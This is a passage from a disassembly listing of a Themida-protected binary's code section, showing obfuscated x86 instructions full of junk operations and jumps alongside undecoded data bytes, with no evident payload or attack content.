		dd 0E9B50404h, 8E24h, 0E9515D50h, 0FFFFC972h, 148BF088h
		dd 4C48324h, 0FF884BE9h, 0C3815BFFh, 4,	404EBE56h, 0EEC11DE0h
		dd 0E9DEF703h, 818Ah
; ---------------------------------------------------------------------------

loc_54CCC4:				; CODE XREF: Themida_:005452F0j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		pop	ebx
		pop	edx
		sub	ebx, 47F9250Ah
		jmp	loc_54C00A
; ---------------------------------------------------------------------------

loc_54CCE4:				; CODE XREF: Themida_:00545954j
		sub	ebp, 6C8B5468h
		jmp	loc_551E05
; ---------------------------------------------------------------------------
		db 9
		dd 504359CBh, 0E9CFD8B8h, 0B8EB8121h, 2959234Fh, 0B8C381C3h
		dd 5859234Fh, 97EC381h,	0EB813443h, 28CA6C15h, 3CDDE9h
		dd 2BF00h, 0FA010000h, 2414335Fh, 33241431h, 248B2414h
		dd 24C96824h, 1C890000h, 0BB24h, 3FE90000h, 89000015h
		dd 0E389241Ch, 23BF5756h, 0BE7EEF2Ch, 7EEF2C27h, 2EC3EE81h
		dd 0FE291F12h, 2EC3C681h, 34FF1F12h, 243C8B24h,	4C481h
		dd 0C4810000h, 4, 8904EC83h, 79B82404h,	573A9630h, 2C2BABBFh
		dd 0D5CE908h, 895C0000h, 9BE9240Ch, 81000086h, 0EB6E3CCFh
		dd 1C78131h, 0E9000000h, 0FFFF5CBFh
; ---------------------------------------------------------------------------

loc_54CDA0:				; CODE XREF: Themida_:0054376Cj
		xor	edi, ebp
		push	ebp
		push	edx
		mov	ebp, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		push	1D86h
		mov	[esp], edx
		xchg	ecx, [esp]
		not	ecx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_542871
; ---------------------------------------------------------------------------
		dd 1DE2C381h, 0D9E97B05h, 6600008Fh, 662433BFh,	2ECAC781h
		dd 0F5E78166h, 0EF816650h, 0F76602A8h, 0C78166D7h, 4AE9A280h
		dd 0FF000074h, 0E9042474h, 0FFFF8A5Ah
; ---------------------------------------------------------------------------

loc_54CE08:				; CODE XREF: Themida_:0054534Aj
		sub	edi, 6E5A4DA6h
		add	edi, ecx
		add	edi, 6E5A4DA6h
		mov	ecx, [esp]
		jmp	loc_555789
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0C1830000h, 240C8704h, 0E924248Bh, 0FFFF4CEBh
; ---------------------------------------------------------------------------

loc_54CE34:				; CODE XREF: Themida_:00548FDCj
		push	ecx
		mov	ecx, esp
		jmp	loc_54B2DF
; ---------------------------------------------------------------------------
		dd 7EF5E952h, 0C181FFFFh, 2D777A04h, 2959CD01h,	28ED81C5h
		dd 582DC07Ah, 42FED81h,	93E90384h
		db 6Ch,	2 dup(0)
byte_54CE5F	db 0FFh			; DATA XREF: Themida_:00541A30o
		dd 0C8B2434h, 4C48124h,	68000000h, 62F4h, 0FF71C8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CE75:				; CODE XREF: Themida_:00555E21j
		mov	esi, 68E3E8Ch
		push	ebp
		mov	ebp, 64C874BDh
		inc	ebp
		dec	ebp
		jmp	loc_546039
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 240C8700h, 6A16E9h, 0E9DEF600h, 9358h
dword_54CE9C	dd 76A5E9ADh, 2E68FFFFh, 89000025h, 4B9240Ch, 29000000h
					; DATA XREF: Themida_:00541858o
		dd 87E959CDh, 5BFFFF7Ch, 0E904C183h, 0FFFFD22Ah, 68243C89h
		dd 7FAF7AF7h, 0C3BB535Fh, 81750379h, 0A3FD12C3h, 5BDF3191h
		dd 86042B05h, 278F057Bh, 0F9E942E9h, 89FFFF96h,	0DCE92434h
		dd 81FFFFAAh, 0FA0431C3h, 148B665Bh, 8D66E924h,	0DAF7FFFFh
		dd 0EAC1DAF7h, 39EA8108h, 31CABB13h, 0C8895AD1h, 0E92434FFh
		dd 0FFFF8DF9h, 53B8E950h, 0EC810000h, 2, 240C8966h, 12454F6h
		dd 240C8B66h, 0E902C483h, 56D2h, 2414F751h, 5E1C159h, 0B922F181h
		dd 0B9E97A1Bh
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CF4B:				; CODE XREF: Themida_:00555D50j
		mov	esi, esp
		push	edx
		jmp	loc_54F0E9
; ---------------------------------------------------------------------------

loc_54CF53:				; CODE XREF: Themida_:00547FF5j
		mov	esp, [esp]
		jmp	loc_5502A9
; ---------------------------------------------------------------------------
		db 89h
		dd 6CE92414h, 0D1000090h, 21C381E3h, 319A8E09h,	0F2015BDEh
		dd 71B6E95Eh, 489FFFFh,	2474FF24h, 24048B04h, 4C481h, 48F0000h
		dd 4BE95C24h, 0FEFFFFD6h, 53070CC8h, 0CB806AB3h, 94C380B0h
		dd 0F6FAEB80h, 80CBFED3h, 0D820E1EBh, 0FFCB6BE9h, 56E389FFh
		dd 72E8B850h, 0EAE944F2h, 29000017h, 815891C8h,	80408CF1h
		dd 59C8899Dh, 69E4C581h, 0C5016025h, 69E4ED81h,	1586025h
		dd 3C875DEFh, 34FF5C24h, 64685924h, 8900000Dh, 1768243Ch
		dd 89000041h, 4832424h,	0CAE90424h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54CFFB:				; CODE XREF: Themida_:0055473Aj
		push	2DEEh
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 56956046h
		shr	ebp, 4
		jmp	loc_549BA1
; ---------------------------------------------------------------------------

loc_54D01B:				; CODE XREF: Themida_:0054C577j
		mov	ebx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_541B1F
; ---------------------------------------------------------------------------

loc_54D033:				; CODE XREF: Themida_:0054949Aj
		push	ecx
		mov	ecx, 10C651CCh
		sub	edi, ecx
		pop	ecx
		sub	edx, edi
		pop	edi
		jmp	loc_554549
; ---------------------------------------------------------------------------

loc_54D044:				; CODE XREF: Themida_:0054F9EEj
		push	eax
		mov	eax, 2C834E0Eh
		and	eax, 155A7F9Bh
		shl	eax, 2
		jmp	loc_54D110
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF4AC3h
; ---------------------------------------------------------------------------

loc_54D05C:				; CODE XREF: Themida_:00545393j
		sub	ebx, 4E682FDFh
		sub	ebx, 0DED50B7h
		push	4004h
		mov	[esp], eax
		mov	eax, 50FC1B3Ch
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	eax, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_55660F
; ---------------------------------------------------------------------------
		db 56h
		dd 23D16857h, 815F2556h, 0F4164E7h, 4EFC158h, 4734E9h
		dd 4EC8100h, 0E9000000h, 0FFFFB46Bh
dword_54D0AC	dd 24048B66h, 3A1D68h, 24048900h, 81E68956h, 4C6h, 4EE8300h
					; DATA XREF: Themida_:00541980o
		dd 0FFF084E9h, 151705FFh, 210572C1h, 0FF792936h, 815F2434h
		dd 4C4h, 0CC202D00h, 0C3810056h, 74A527E5h, 1408BE56h
		dd 0EB8105EEh, 53FA4D69h, 0C381F301h, 53FA4D69h, 51EB815Eh
		dd 1584937h, 0B7BD55C3h, 0E96F993Ch, 0FFFFD0CAh
; ---------------------------------------------------------------------------

loc_54D110:				; CODE XREF: Themida_:0054D052j
		shr	eax, 8
		shr	eax, 1
		sub	eax, 576B781Ah
		jmp	loc_54E572
; ---------------------------------------------------------------------------
		db 81h
		dd 6C2A68E9h, 0B9685E03h, 89000074h, 8B54240Ch,	1E9240Ch
		dd 59000084h, 0F814EE81h, 0F08965C2h, 836AE95Eh, 0F681FFFFh
		dd 50326040h, 0E9F28952h, 0FFFF627Ch
; ---------------------------------------------------------------------------

loc_54D154:				; CODE XREF: Themida_:005442F3j
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_550780
; ---------------------------------------------------------------------------
		db 83h
		dd 0DBF704C4h, 20E568h,	240C8900h, 7C068BB9h, 85E18160h
		dd 0E9019B52h, 0FFFFA7F1h, 0E67170B9h, 0CCB95178h, 89A6CE9Ch
		dd 0C4E959CBh, 5AFFFFEBh, 4EC81h, 4890000h, 5585424h, 4
		dd 4EC8153h, 0E9000000h, 8F06h,	6CE930FFh, 29FFFF49h, 20E95EF7h
		dd 0B9FFFF93h, 385D6DAAh, 5786F181h, 0BD551886h, 6F4D4123h
		dd 4503E5C1h, 0E9D5F74Dh, 0FFFFE89Ch, 2474FF52h, 48F5A04h
		dd 0C895C24h, 4935E924h, 0A92DFFFFh, 2D5A4B20h,	8B25A04h
		dd 0FF74B9E9h, 0E68956FFh, 2E30BF57h, 0CF876023h, 597CE9h
		dd 37E94900h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D20F:				; CODE XREF: Themida_:00549E25j
		sub	edi, 0AF2A7A80h
		mov	[edx+38h], edi
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		sub	ecx, eax
		mov	eax, [esp]
		jmp	loc_5491C6
; ---------------------------------------------------------------------------

loc_54D23D:				; CODE XREF: Themida_:00550744j
		add	esp, 4
		jmp	loc_55524B
; ---------------------------------------------------------------------------
aZ4Ws_		db '‡4$\Wé.#',0
		dw 5E00h
		dd 31240433h, 4332404h,	24248B24h, 4B30F66h, 0B8E99C24h
		dd 89FFFF48h, 4832424h,	815B0424h, 4C3h, 4C38300h, 31241C33h
		dd 1C33241Ch, 24248B24h, 1268E1F7h, 8900005Ch, 1CE92414h
		dd 51000089h, 0F7243487h, 243487DEh, 0FFD0F1E9h, 241489FFh
		dd 0FFD5A4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D2A9:				; CODE XREF: Themida_:0054C120j
		push	edi
		mov	edi, esp
		jmp	loc_54217E
; ---------------------------------------------------------------------------
		db 29h,	0FDh, 5Fh
		dd 27C8ED81h, 0F50125E1h, 27C8C581h, 0C58125E1h, 49BD582Eh
		dd 2FFFE9h, 9EEF8100h, 29E90066h, 0C8B5FFDh, 4C48124h
		dd 68000000h, 15F3h, 0FF242C89h, 5D042474h, 8B24048Fh
		dd 0FF662424h, 0E99C240Ch, 0FFFF4823h
; ---------------------------------------------------------------------------

loc_54D2FC:				; CODE XREF: Themida_:0054BB0Cj
		add	esp, 4
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		push	71FFh
		jmp	loc_551F52
; ---------------------------------------------------------------------------
		dw 0B6BBh
		dd 8132E604h, 0C25616C7h, 52DF2951h, 0EA3CD9BAh, 0C2814A1Ah
		dd 36D8193Eh, 5B5AD729h, 0FFDF73E9h, 0EF381FFh,	81163F6Bh
		dd 63C6E3F3h, 0DE8956D8h, 0E95EF289h, 3266h, 7320BE56h
		dd 0E6C133B4h, 0F7EED108h, 81D6F7DEh, 398FFFF6h, 5EF1895Ah
		dd 12F2E9h
		db 0
; ---------------------------------------------------------------------------

loc_54D369:				; CODE XREF: Themida_:0054346Dj
		add	edx, 0FA2631ACh
		mov	esi, edx
		pop	edx
		mov	ebp, 77E3823Fh
		sub	ebp, esi
		pop	esi
		sub	ebp, 5C576E3h
		jmp	loc_55410F
; ---------------------------------------------------------------------------
		db 50h,	88h, 0F8h
		dd 0FFE34AE9h, 5AD128FFh
		db 0FEh, 0C1h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_550AFA
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 4436C6BAh, 0C4F28108h, 89084436h, 0B590E9D6h, 665CFFFFh
		dd 0E816E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D3C6:				; CODE XREF: Themida_:005509E4j
		push	6B74h
		mov	[esp], edx
		mov	edx, 1
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_555F11
; ---------------------------------------------------------------------------

loc_54D3E7:				; CODE XREF: Themida_:005521B0j
		mov	edi, ebx
		pop	ebx
		push	edi
		jmp	loc_54C212
; ---------------------------------------------------------------------------
		dd 2EC81h, 89660000h, 4DB7241Ch, 7BE9F930h, 0FE000017h
		dd 0AAF680C6h, 88E9F328h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D40F:				; CODE XREF: Themida_:00549B39j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 76024BE2h
		push	6852h
		mov	[esp], ecx
		mov	ecx, 6BD87631h
		push	273Fh
		jmp	loc_556B75
; ---------------------------------------------------------------------------

loc_54D434:				; CODE XREF: Themida_:00547CCEj
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_553FFD
; ---------------------------------------------------------------------------
		db 1, 0CBh, 8Bh
		dd 0C481240Ch, 4, 0FFE9E9E9h
		db 0FFh
byte_54D44D	db 66h,	8Bh, 4		; DATA XREF: Themida_:00541A3Co
		dd 4EC8324h, 68240489h,	2D62h, 81242489h, 42404h, 48B0000h
		dd 4C48124h, 55000000h,	505EE9h, 24048F00h, 0D324248Bh
		dd 0E99C243Ch, 0FFFF469Bh, 20EA814Ah, 89BA139Ah, 0E1C15AD1h
		dd 0D1F18105h, 29CDFE31h, 0EA8159CAh, 4A261521h, 8904EC83h
		dd 0E4BF243Ch, 1574398h, 5B525FFAh, 65F5E9h
		db 0
; ---------------------------------------------------------------------------

loc_54D4B5:				; CODE XREF: Themida_:0054EB2Cj
		neg	ecx
		inc	ecx
		xor	ecx, 318C1C76h
		add	eax, ecx
		pop	ecx
		sub	eax, edx
		sub	eax, 70583A33h
		jmp	loc_54BE82
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 8924248Bh, 1682414h,	8B000000h, 89562414h, 4C681E6h
		dd 0E9000000h, 0FFFFB44Eh, 11226851h, 8159146Fh, 0FFFFFFE9h
		dd 0F1C181FFh, 8956DF0Fh, 6E0559CBh, 293F113Dh,	3D6E2DD8h
		dd 17E93F11h, 0FFFFEAh,	0EE95AD3h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D51B:				; CODE XREF: Themida_:0054A4E1j
		add	esp, 4
		jmp	loc_54409D
; ---------------------------------------------------------------------------

loc_54D523:				; CODE XREF: Themida_:0054F1AAj
		and	ecx, edi
		jmp	loc_548D17
; ---------------------------------------------------------------------------

loc_54D52A:				; CODE XREF: Themida_:00551B68j
		push	eax
		jmp	loc_54AE28
; ---------------------------------------------------------------------------
		dd 21E9E189h, 89FFFF7Fh, 74FF243Ch, 3C8B0424h, 4C48324h
		dd 8B24048Fh, 0D0E92424h
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D54F:				; CODE XREF: Themida_:00543022j
		sub	eax, 75B933ECh
		add	ebp, eax
		pop	eax
		push	esi
		push	eax
		mov	eax, 4
		jmp	loc_5454DE
; ---------------------------------------------------------------------------
		db 5
		dd 58F24C6Bh, 11E2E9h, 31876800h, 14890000h, 0EC815324h
		dd 4, 0B2241489h, 0BA88E978h, 0D4BFFFFFh, 4F5D7E66h, 39CCCF81h
		dd 73E93D7Ch
		db 34h,	2 dup(0)
byte_54D597	db 0ADh			; DATA XREF: Themida_:00541A8Co
		dd 6D99BD55h, 0B85023E6h, 20711132h, 8F4E472Dh,	0D0F74841h
		dd 0E22D4040h, 21ACE308h, 0CD8158C5h, 16573704h, 55C58145h
		dd 552B15CBh, 7160C9BDh, 0F18FE92Dh, 3C89FFFFh,	374ABF24h
		dd 0E7D11472h, 57FFC783h, 0E92414F7h, 4960h
; ---------------------------------------------------------------------------

loc_54D5E4:				; CODE XREF: Themida_:00554066j
		sub	esi, ecx
		mov	ecx, [esp]
		jmp	loc_55533C
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 0D85CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D5F6:				; CODE XREF: Themida_:005449ACj
		mov	edx, 6064565Ah
		jmp	loc_546AF6
; ---------------------------------------------------------------------------
		dd 0C181D1F7h, 0E455F2BCh, 19E9CD01h, 0B9FFFFA3h, 8BD74872h
		dd 0FFF496E9h, 242C89FFh, 0B45F77BDh, 0BA522Bh,	294EC412h
		dd 24148BD5h, 81E38953h, 4C3h, 4BA5200h, 1000000h, 24148BD3h
		dd 8704C483h, 875C241Ch, 87D9F7CDh, 0F4FBE9CDh,	0E95CFFFFh
		dd 0FFFF9955h, 4C481h, 0C2810000h, 0BC2068Dh, 2A30C281h
		dd 0C2810A20h, 54A83CF7h, 0EA81C229h, 54A83CF7h, 87A9E9h
		dd 4B900h, 0EA810000h, 64715731h, 0C281CA01h, 64715731h
		dd 4EA8359h, 8B241487h,	2C892424h, 1CFF6824h, 24890000h
		dd 24048324h, 56575D04h, 0FFE8E7E9h, 1382BAFFh,	0E2D111F2h
		dd 0B850D2F7h, 289C6A1Eh, 40F2BE56h, 0F02927B0h, 2D48405Eh
		dd 0A319CAE8h, 3158C201h, 7887E9D0h, 0E9580000h, 843Fh
; ---------------------------------------------------------------------------

loc_54D6E0:				; CODE XREF: Themida_:0054ABDBj
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		push	5667027h
		pop	ecx
		jmp	loc_54EED8
; ---------------------------------------------------------------------------
		dd 81DBF743h, 42D657EBh, 8B5F535Eh, 0C481241Ch,	4, 60E9F901h
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D713:				; CODE XREF: Themida_:00552E5Dj
		pop	ecx
		add	edx, ebx
		push	ebp
		push	edx
		push	0ED919B4h
		pop	edx
		xor	edx, 52472451h
		xor	edx, 46287FD8h
		jmp	loc_54A1F5
; ---------------------------------------------------------------------------
		db 89h
		dd 2BD242Ch, 29000000h,	2434FFE9h, 4C4835Dh, 8347E951h
		dd 0F6800000h, 597E9A2h, 0EB290000h, 0E9242C8Bh, 0FFFFC69Fh
		dd 951E981h, 0F2E917ADh
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D763:				; CODE XREF: Themida_:0054C13Fj
		mov	edi, 24F01400h
		and	edi, 35F61772h
		xor	edi, 7E070422h
		jmp	loc_550014
; ---------------------------------------------------------------------------
byte_54D779	db 66h,	8Bh, 4		; DATA XREF: Themida_:00541990o
		db '$hÔ',27h,0
		align 2
		dw 0C89h
		dd 83595424h, 3C8904ECh, 4BF24h, 0BD550000h, 375A627Eh
		dd 0E90ABF57h, 0BE560CE1h, 7F961365h, 295EF529h, 65C581FDh
		dd 5F7F9613h, 15DE901h,	74E981F9h, 5F2A7879h, 8904EC83h
		dd 6E92404h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D7C7:				; CODE XREF: Themida_:00545C37j
		add	ebx, 4
		push	3902h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_548C48
; ---------------------------------------------------------------------------

loc_54D7E9:				; CODE XREF: Themida_:005518DFj
		add	esi, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		jmp	loc_542838
; ---------------------------------------------------------------------------
		dd 4C4044BEh, 8BF229D4h, 0C4812434h, 4,	148BD129h, 4C48324h
		dd 0E9C1E1D1h, 8E1C107h, 757FBD55h, 0E931407Ah,	0E9242C8Bh
		dd 0FFFFBC39h, 5B4768h,	243C8900h, 0BD55E789h, 0FBC29CCh
		dd 0E581DDF7h, 585F31D6h, 0A165E953h, 74FFFFFFh, 34FF0424h
		dd 0C4835824h, 24048F04h, 0E924248Bh, 0FFFF5F1Ah, 8058E330h
		dd 0E5686BC3h, 0E900004Ch, 594Bh, 511DE181h, 565241D3h
		dd 30B0E9h
		db 0
; ---------------------------------------------------------------------------

loc_54D87D:				; CODE XREF: Themida_:0054DDC0j
		push	eax
		mov	eax, 501DD04h
		jmp	loc_544FFB
; ---------------------------------------------------------------------------
		dd 0FFE9E289h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D88F:				; CODE XREF: Themida_:00541DD6j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 664D789Eh
		jmp	loc_54363C
; ---------------------------------------------------------------------------
		dw 0D300h
		dd 5A87C380h, 0E92DC380h, 0FFFFC8BEh, 0A44A89BBh, 1BC38118h
		dd 81563773h, 4ECh, 241C8900h, 0FF7C0DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D8C9:				; CODE XREF: Themida_:00550CCCj
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	3499h
		mov	[esp], edx
		mov	edx, 10h
		jmp	loc_547670
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048324h, 0D2A8E904h, 0DEF7FFFFh, 0FF42FEE9h, 0CA095AFFh
		dd 0BABE5659h, 31A3F5BCh, 0C5815EF2h, 69AA1574h, 0ED81D501h
		dd 69AA1574h, 8324148Bh, 0BB5304C4h, 3DD86CA0h,	2414F753h
		dd 0EBC14B5Bh, 0A1B0E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D92E:				; CODE XREF: Themida_:005471ABj
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	0FA3h
		jmp	loc_54964F
; ---------------------------------------------------------------------------
aMh_		db '¬h_',7,0            ; DATA XREF: Themida_:00541994o
		dd 24148900h, 0F02887B6h, 6D2AE95Ah, 875CFFFFh,	505C240Ch
		dd 0E0C0BCB0h, 0FE190C03h, 34C8FEC0h, 58C100D9h, 0C800232Ch
		dd 0E9592304h, 78DDh, 448968h, 24148900h, 0FFD8A8E9h, 48EB81FFh
		dd 21D68A01h, 11E95BDAh
		db 7Ch,	2 dup(0FFh)
byte_54D997	db 0FFh			; DATA XREF: Themida_:00541AC4o
		dd 0CEE92434h, 81FFFF7Eh, 4C4h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_546CD3
; ---------------------------------------------------------------------------
		db 0BFh
		dd 3CA90201h, 62E9F909h, 59FFFFA9h, 31241433h, 14332414h
		dd 24248B24h, 4AB0F66h,	11E99C24h, 5E00007Dh, 31243C33h
		dd 3C33243Ch, 24248B24h, 0E9C8B70Fh, 0FFFF74D1h
; ---------------------------------------------------------------------------

loc_54D9EC:				; CODE XREF: Themida_:00554D27j
		add	esi, 540435FBh
		pop	edi
		add	esi, ebp
		push	edi
		mov	edi, 6B5715D7h
		sub	esi, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	edx, 3E295F07h
		sub	edx, esi
		sub	edx, 3E295F07h
		mov	esi, [esp]
		jmp	loc_543EA5
; ---------------------------------------------------------------------------
		db 66h
		dd 8B66CB21h, 0EC81240Ch, 4, 0E9240C89h, 115Eh,	8AF58145h
		dd 1B16897h, 5AA1E9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54DA52:				; CODE XREF: Themida_:00547027j
		push	edi
		jmp	loc_547FDB
; ---------------------------------------------------------------------------
		dd 40AB850h, 0BD556CDFh, 1BAE432Bh, 8106E5C1h, 7C1A34EDh
		dd 0FFD2E943h, 1487FFFFh, 57505C24h, 3A3F13BFh,	3DB85060h
		dd 29129A44h, 0BA5258C7h, 556D3A77h, 3B8CE9h, 5982B900h
		dd 4C29489Bh, 1590824h,	0E9042454h, 0FFFFD8A0h,	59CE2958h
		dd 6079F681h, 89561A4Fh, 4C681E6h, 81000000h, 4EEh, 24348700h
		dd 2414895Ch, 0DF17E4BAh, 0F4BD5524h, 1DB4B06h,	1E95DEAh
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54DAD7:				; CODE XREF: Themida_:00549F9Ej
		mov	esi, 1
		push	ebx
		jmp	loc_5554B3
; ---------------------------------------------------------------------------
		dw 0F829h
		dd 6BC3815Fh, 0E96EE63Bh, 2105h
; ---------------------------------------------------------------------------

loc_54DAF0:				; CODE XREF: Themida_:00547457j
		add	esp, 4
		push	esi
		jmp	loc_54DDA2
; ---------------------------------------------------------------------------
		dd 5BB8C281h, 0A8E94703h
		db 7Bh,	2 dup(0FFh)
byte_54DB07	db 0FFh			; DATA XREF: Themida_:00541850o
		dd 815A2434h, 4ECh, 243C8900h, 0F868E789h, 89000038h, 4BD242Ch
		dd 0E9000000h, 0FFFF7685h, 8B5DE901h, 0C483242Ch, 0CCE95104h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54DB37:				; CODE XREF: Themida_:00550DB4j
		mov	ecx, 2C02D5h
		add	ecx, 80073530h
		xor	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_54B202
; ---------------------------------------------------------------------------
dword_54DB4C	dd 757168h, 24348900h, 197981BEh, 83EED144h, 1C8904ECh
					; DATA XREF: Themida_:00541A2Co
		dd 0A87BB24h, 0EB816E04h, 0FB8B420h, 685BDE29h,	8AFh, 0B9240C89h
		dd 5EBB4A5Fh, 46E7E9h
		db 0
; ---------------------------------------------------------------------------

loc_54DB81:				; CODE XREF: Themida_:00554AF7j
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5556ED
; ---------------------------------------------------------------------------

loc_54DB91:				; CODE XREF: Themida_:00544826j
		sub	ebx, edi
		pop	edi
		add	ebx, 789D5744h
		push	edx
		mov	edx, 338B5E74h
		dec	edx
		add	edx, 0E9D1045Dh
		add	ebx, edx
		jmp	loc_5474F3
; ---------------------------------------------------------------------------

loc_54DBAE:				; CODE XREF: Themida_:005527EDj
		push	dword ptr [esp]
		jmp	loc_542CBA
; ---------------------------------------------------------------------------
		dw 0E943h
		dd 0FFFF4BB2h, 0FF3F5EE9h
		db 0FFh
byte_54DBC1	db 66h,	8Bh, 4		; DATA XREF: Themida_:00541898o
		dd 4EC8324h, 89240489h,	0E520E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DBD2:				; CODE XREF: Themida_:00555B90j
		mov	ebp, 7AB2A3Ah
		or	ecx, ebp
		pop	ebp
		jmp	loc_549280
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4EA8300h, 5C241487h, 0FF6BACE9h, 240C28FFh, 0E0240480h
		dd 0FF8CB5E9h, 77B951FFh, 49626913h, 6199C981h,	0CEE92AF5h
		dd 52000011h, 0ABFEE954h, 0C689FFFFh, 8F06E958h, 0EC83FFFFh
		dd 10A6E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54DC26:				; CODE XREF: Themida_:00545C40j
		push	edi
		push	ebx
		mov	ebx, 5F846E30h
		jmp	loc_54784B
; ---------------------------------------------------------------------------

loc_54DC32:				; CODE XREF: Themida_:00551926j
		pop	esi
		neg	esi
		jmp	loc_548A97
; ---------------------------------------------------------------------------
		dw 205h
		dd 33000000h, 4312404h,	24043324h, 66D4E9h
		db 0
; ---------------------------------------------------------------------------

loc_54DC4D:				; CODE XREF: Themida_:0054E8DFj
		mov	edi, 41AD0944h
		neg	edi
		and	edi, 796A4D01h
		xor	edi, 1B097546h
		jmp	loc_544EAF
; ---------------------------------------------------------------------------
		db 68h,	41h, 15h
		dd 34890000h, 81E68924h, 4C6h, 0A823E900h, 559FFFFh, 35FA3111h
		dd 0FFE478E9h, 2434FFFFh, 0ECB685Ah, 3C890000h,	815F5424h
		dd 4C7h, 4C78100h, 33000000h, 3C31243Ch, 243C3324h, 6824248Bh
		dd 6E21h, 0FF241C89h, 5B042474h, 8B24048Fh, 0E1F62424h
		dd 0FF54B6E9h, 243C8BFFh, 779A68h, 0A328E900h
		db 2 dup(0FFh)
word_54DCD2	dw 8B66h		; DATA XREF: Themida_:005418BCo
		dd 54532404h, 0E92434FFh, 22FDh
; ---------------------------------------------------------------------------

loc_54DCE0:				; CODE XREF: Themida_:00550E85j
		jmp	loc_541B1F
; ---------------------------------------------------------------------------
		db 8, 0F7h, 0E9h
		dd 0FFFF45EBh, 0FF3E2EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DCF1:				; CODE XREF: Themida_:00543A5Bj
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edx
		mov	edx, 61A030DEh
		jmp	loc_54FC8F
; ---------------------------------------------------------------------------
aTyheo		db 'TYhEO',0
		dd 24048900h, 197827B8h, 3E8C11Ch, 4A200F25h, 6E0C174h
		dd 0FF04BF57h, 0BB2DFF77h, 139135Bh, 5BBB05F8h,	815F3913h
		dd 5D7A5FC1h, 0EE74E948h, 0B968FFFFh, 0E973FA0Bh, 0FFFF81DDh
; ---------------------------------------------------------------------------

loc_54DD58:				; CODE XREF: Themida_:005466CCj
		mov	ecx, 2681685Eh
		neg	ecx
		shl	ecx, 3
		add	ecx, 340B42F4h
		jmp	loc_54B6EB
; ---------------------------------------------------------------------------
		db 0F7h, 14h, 24h
		dd 63BB535Eh, 0C1193E0Eh, 0B95103EBh, 252D107Fh, 7908E9h
		dd 81E68900h, 4C6h, 4EE8300h, 0E9243487h, 0FFFFA460h
; ---------------------------------------------------------------------------

loc_54DD98:				; CODE XREF: Themida_:0054E3DAj
		push	4F4Eh
		jmp	loc_555E1E
; ---------------------------------------------------------------------------

